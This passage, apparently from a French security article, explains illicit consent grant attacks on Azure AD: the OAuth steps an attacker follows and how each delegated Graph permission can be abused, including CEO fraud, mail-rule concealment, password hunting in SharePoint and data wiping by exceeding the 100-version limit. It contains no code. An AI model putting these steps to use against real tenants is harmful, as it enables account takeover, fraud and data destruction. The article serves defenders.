• L’utilisation d’une URL associée à Microsoft lors de la demande de consentement, considérée comme de confiance et impliquant donc moins de méfiance de la part des utilisateurs ciblés.
• L’obtention d’un accès persistant pendant 90 jours, sans connaissance du mot de passe de l’utilisateur ni du second facteur d’authentification, si aucune stratégie d’accès conditionnels n’est implémentée.
• La possibilité de requêter directement les APIs de Microsoft pour récupérer de manière automatisée les fichiers, emails et autres ressources de l’entreprise accessibles par l’utilisateur piégé.

Aparté technique

D’un point de vue technique, l’attaque par consentement illicite repose sur la capacité d’un attaquant à créer une application demandant des délégations de permissions. La délégation de permission est une fonctionnalité qui est régulièrement utilisée par les utilisateurs sans qu’ils s’en rendent compte, par exemple le client Outlook est autorisé par défaut à récupérer et les notifier de l’arrivée de nouveaux emails.

Voici les étapes clés lors de la réalisation de ce type d’attaque (qui repose sur la cinématique Authorization Code Grant d’OAuth 2.0) :

• L’attaquant crée une application d’entreprise sur Azure AD (application registration) et configure les permissions qu’il souhaite obtenir de la part des utilisateurs. Il peut instancier également un « client_secret» sur l’application. Certaines contraintes liées à cette application sont détaillées plus bas.
• Il met en place un serveur vers lequel les utilisateurs seront redirigés suite aux consentements et indique son URL en tant qu’URL de redirection valide pour l’application.
• À la suite du consentement d’un utilisateur, celui-ci sera redirigé vers le site malveillant et un code sera fourni à l’attaquant. Ce code est la preuve à montrer à Microsoft que l’utilisateur autorise l’application à faire des actions en son nom.
• A l’aide de ce code et du « client_secret » de l’application, l’attaquant pourra récupérer un jeton OAuth. Ce jeton est un récépissé signé par Microsoft qui précise les actions que la victime autorise à faire en son nom. L’attaquant peut également récupérer un « refresh_token » permettant de renouveler la validité du jeton OAuth.
• Ce jeton OAuth est alors utilisable pour envoyer des requêtes à la Graph API au nom de la victime et par conséquent permet d’usurper son identité.

Quelles sont les conséquences d’une telle attaque ?

Si certaines permissions nécessitent par défaut l’approbation d’un administrateur pour être déléguées, d’autres permissions peuvent être déléguées directement par les utilisateurs dans les environnements Azure non durcis. Les permissions pouvant être récupérées par l’attaquant lors de ce type d’attaque dépendent donc de la configuration du tenant Azure AD ciblé.

Voici quelques exemples d’abus possibles par un attaquant qui aurait réussi à récupérer les permissions d’un utilisateur sur un environnement non durci.

Actions réalisables à la suite d’une attaque par consentement illicite réussie sur en environnement Azure non durci

• Azure Active Directory :
  • La permission Microsoft Graph User.ReadBasic.All permet de récupérer les adresses email des tous les utilisateurs d’un tenant, ce qui permet de déployer des attaques de phishing à plus grande échelle à partir d’une première compromission.
• Outlook :
  • L’envoi d’un email au nom d’un utilisateur peut permettre la réalisation d’attaques dites de « fraude au président » à l’aide des permissions Microsoft Graph Mail.Send et Mail.ReadWrite. Un employé compromis disposant d’un niveau hiérarchique élevé pourrait par exemple demander par email l’envoi en urgence d’une somme important d’argent à un compte non répertorié par l’entreprise.
  • Les emails envoyés peuvent également être dissimulés à l’aide de règles de filtrage Outlook pouvant être modifiées à l’aide de la permission MailboxSettings.ReadWrite. L’attaquant pourra alors rediriger tous les emails liés à son attaque et les réponses associées vers un dossier différent des boites d’envoi et de réception.
• Teams :
  • La lecture et l’envoi de messages via Teams (Microsoft Graph Chat.ReadWrite) est une méthode efficace pour un attaquant d’usurper l’identité d’un utilisateur. Cette méthode peut également être utilisée pour réaliser des attaques de « fraude au président ».
• OneDrive et SharePoint :
  • L’accès en lecture aux fichiers accessibles sur OneDrive et SharePoint (Microsoft Graph Files.Read.All) peut donner accès à l’ensemble des fichiers accessibles par l’utilisateur. De plus, les droits d’accès aux fichiers SharePoint sont souvent stockés avec des droits d’accès permissifs ce qui permet aux attaquants de récupérer un très grand nombre de fichiers. Il n’est pas rare par exemple d’avoir à accès à des scripts ou fichiers de configurations contenant des mots de passe en clair.
  • Par ailleurs, les fonctionnalités de recherche de SharePoint, permettant notamment la lecture et l’indexation du contenu des fichiers Office, peuvent être utilisées afin de cibler certains mots clés tels que « mot de passe ».
  • Les droits d’écriture sur un fichier SharePoint (Microsoft Graph Files.ReadWrite.All) peuvent également avoir un impact important : les fonctionnalités de versioning de SharePoint limitent par défaut l’enregistrement des anciennes versions des fichiers à 100 versions. Cela signifie qu’en cas de réécritures automatisées et successives plus de 100 fois, la version initiale du fichier ne serait plus récupérable. Cela permettrait donc à un attaquant d’effacer un grand nombre de données en cas de compromission d’un compte disposant de droits d’écriture sur des fichiers sensibles. En cas d’effacement, il faudrait alors contacter le support Microsoft pour tenter de récupérer les données sur les sauvegardes quotidiennes à froid.
• OneNote :
  • Les fichiers OneNote synchronisés (Microsoft Graph Notes.ReadWrite ou Read.All) peuvent contenir des informations sensibles tels que des comptes-rendus de réunion, confidentielles, mais aussi des informations techniques telles que des mots de passes stockés de manière non sécurisée.
• Ressources Azure :
  • L’accès aux key vaults et storage accounts (Azure Key Vault et Azure Storage user_impersonation) peuvent donner accès à des éléments sensibles en cas de compromission de comptes de développeurs ou d’utilisateurs techniques. Ces éléments peuvent faciliter la compromission de ressources Azure telles que des machines virtuelles et servir de point de rebond pour un attaquant externe.